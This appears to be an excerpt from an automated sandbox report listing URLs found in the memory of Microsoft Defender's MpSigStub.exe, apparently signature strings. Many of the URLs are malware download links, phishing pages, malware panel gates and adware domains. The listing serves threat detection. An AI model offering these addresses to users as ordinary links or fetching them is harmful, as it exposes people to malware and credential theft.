        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://a.up-00.com/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://a0571310.xsph.ru/djfklvk/revert.php
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://a1us6j2z.recordgate.co
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://aa.llsging.com/ww/new05.htm?075width=1name=
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: http://aaacollectionsjewelry.com/x9djsa
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://aancyber77.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://aapache.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://abeidaman.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://abidjanlit.com/loyiruef/invoice/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://abitando.net/outstanding-invoices/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://abluefantasies.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://about:blankhao.360.cn
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://abraandthong.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://acacia19.pansy.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://academiamylife.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://acayipbiri.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://acceso.masminutos.com
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://accordlifespec.com/gtt.exe
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: http://acetica.online/presently/refuge/
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://acglgoa.com/faq.htmwidth=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://acipatobo01.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv1.crl0
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://actionforfiletransferthroughcloudbusinessinternationalglobalsys.ydns.eu/business/business.doc
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://activecodec.0fees.net/codec/mp3/codec_download.htm
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://actresswallpaperbollywood.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://acutelogisticsltd.com/wp-content/themes/acutelogisticsltd/js/ie-emulation-modes-warning.js
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://ad.eltext.com
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://ad.tuzikmedia.biz
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://addictedtobash.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://adf.ly
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://adobe-mark.byethost3.com/adobe-mail/pdf.php)
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://adoffy.alltuckedinathome.com:8080/led.js
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://ads.8866.org/
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://ads4.think-adz.com/
        Source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmpString found in binary or memory: http://ads4.think-adz.com/xD
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://adsgo.zh-cn.cc/?
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://adsl.carpediem.fr/perl/invoc_oneway.pl?
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://adult-analsexadult.com/pc/page/set_reg.php?code=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://adult-fetishismsexadult.com/pc/page/set_reg.php?code=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://adult-xxx-sex-porn-playboy.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://advadmin.biz/tasks
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://advancedcleaner.com
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://advancedtopmax.info/e/59034b87bbb71/59034b87bbbcc.bin
        Source: MpSigStub.exe, 00000023.00000003.18301236868.0000015B1B97A000.00000004.00000001.sdmpString found in binary or memory: http://advgoogle.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18350803213.0000015B1B766000.00000004.00000001.sdmpString found in binary or memory: http://adwpro.avelite.hop.clickbank.net/?mode=p
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://adyingtiger.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://aerytyre.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpString found in binary or memory: http://aescripts.com
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://afkar.today/test_coming.training/w_f/
        Source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmpString found in binary or memory: http://ag.ru
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://agent.wizztrakys.com/csdi/wizzmonetize/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://agentwarderprotector.info/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://ago2.co.kr/bbs/data/dir/note.png
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://agressor58.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://ahkscript.org
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://ahkscript.orgxw
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://ahmad-roni.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://aindonashi.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://ainsleywirefly.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://aircel3ghack.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://airsquirrels.com/
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://aitimatafb.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18343980449.0000015B1ACD2000.00000004.00000001.sdmpString found in binary or memory: http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://ajeyftrjqeashgda.mobi/mSsQDIMIQ/inIDw/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://ajustek.com.br/pt-br/clicks.php?
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://akdoganevdeneve.net/wp-content/Panel/gate.php
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://aklick.info/d.php?date=
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://akrilikkapak.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://aksoni.myjino.ru/pn-g/xls.html)
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://akusajaboys.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://al-tasmem.ga/doc/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://alaihomestay.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://albaniaspace.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18343980449.0000015B1ACD2000.00000004.00000001.sdmpString found in binary or memory: http://alert-ca.com/counter1/fout.php
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://alexandrea-friesen16ka.ru.com/rocket.html
        Source: MpSigStub.exe, 00000023.00000003.18350289745.0000015B1B712000.00000004.00000001.sdmpString found in binary or memory: http://alfaportal.com/c
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://alfredo.myphotos.cc/scripts/view.asp
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://alhalm-now.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://alindaenua.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: http://aliyun.one
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://all-best-facts.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://allabouttopten.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://allcomics4free.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://allinfree.net.info/youtube.xpi
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://allinfree.net/chrome.xml
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://allsexyinbox.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://allwallpaper3d.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: http://almasto.net/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://alrozaviation.com/oj
        Source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://altaredlife.com/images/gp8/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://altavista.com/favicon.ico
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://amazing-cars.org
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://ameganfoxhairstyle.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://americanexpress-secure.com
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://aminxfreedownload.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://amiral.ga/wp-content/cUFTze5/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://ammun-ra.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://amr16pzcp03omerd.xyz/summer.gif
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://anarushitakute-tamaranai.net/movie.php?id=movies_n01.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://anarushitakute-tamaranai.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://anazhthseis.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmpString found in binary or memory: http://ancalog.tech/
        Source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmpString found in binary or memory: http://ancalog.win/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://andanar.myjino.ru/black/pdfaluko/pdf/pdf/login.htm)
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://andrew08.testar.testforhost.com/ksinamisev.exe/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://andromulator.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://andsihowdint.ru/april/get.php?id=
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://anhchebongda.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://anherbal.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://animator.fetishismadultmovegal.com/pc/page/set_reg.php?af_num=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://animefrase.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://ankiitpatel.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://anmolboutique.com/osu/mgs/es/)
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://anomaniez.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18344332390.0000015B1C1B7000.00000004.00000001.sdmpString found in binary or memory: http://anonfile.xyz
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://antispysolutions.com/?aid=
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://antivirus-x.com/in.cgi?20
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://anty.freehostia.com/xxx/d
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://anty.freehostia.com/xxx/d5SOFTWARE
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://anxw.lolitasexfootube.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://aolopdephn.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://ap.4iitk0-ninv.xyz/?e=u2fuzgkuvghvbxbzb25ay290lnrulmdvdg==
        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: http://ap.gamezi.com/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://apee296.co.ke/tatiyv6824540/gescanntes-dokument/zahlungserinnerung
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpString found in binary or memory: http://api.aldtop.com
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://api.downloadmr.com/installer/
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://api.downloadmr.com/installer/xM
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://api.getwebcake.com/getwebcake/gc1
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://api.ipify.org
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://api.ipify.org/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://api.media-tractor.com/track/?data=301
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://api.mswordexploit.com/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://apivones.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://apk.downloadatoz.com/package/com.allinone.free.apk
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://apkfull2016.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://apofraxisavlonitis.gr/usswz/
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: http://app.fileman.co.kr/app/Fileman.exe
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: http://app.fileman.co.kr/app/ver.ini
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://app.whenu.com/
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://app.whenu.com/Offers
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://apps.bittorrent.com/cl_search/x6
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://apps.tangotoolbar.com
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://appstub.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://appswonder.info
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://appustories.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://apupdates-westeurope.cloudapp.net/Update/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://apy4.lolitasexfootube.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://araazman.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://arab-garden.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://aradiklarinburada.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://archiv.kl.com.ua/mssc.exe
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://arianarosefull.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://arifkacip.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://arizonaic.com
        Source: MpSigStub.exe, 00000023.00000003.18315624417.0000015B1B02C000.00000004.00000001.sdmpString found in binary or memory: http://arpp0934.iespana.es
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://arthisoft.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://articlunik.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://artishollywoodbikini.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://asedownloadgate.com/safe_download/582369/AdsShow.exeg
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://asiafoodlog.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://asianhotxxx.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://asilsizhaber.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://aspeja.org/question/
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://aspx.qqus.net/wanmei/login.asp
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://aspx.vod38.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://asuguglejancok.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://athasoftonlinestore.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://attcarsint.cf/better/)
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://attechnolegal.com/wp-content/themes/attlc/img/404.htm
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://auglaizeseniorservices.com/lombrdia/lomardia.php
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://australia-505.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://autism-doctor.com.ua/openbizz.html)
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://auto-klad.ru/
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://auto.ie.searchforge.com/
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://auto.ie.searchforge.com/g
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://auto.livesearchpro.com/response
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://auto.search.
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: http://auto.search.msn.com/response.asp?MT=
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://autonamlong.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://autothich.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://avcute.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://averyfunnypage.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://avisocliente31.altervista.org/hotmail-atualizacao32
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://avnisevinc.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://avnpage.info/final3.php
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://avnpage.info/video/prenium.xpi
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://avnpage.info/watch/prenium.crx
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://avocat360.fr/7-past-due-invoices/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://ayanojou.blogspot.com/
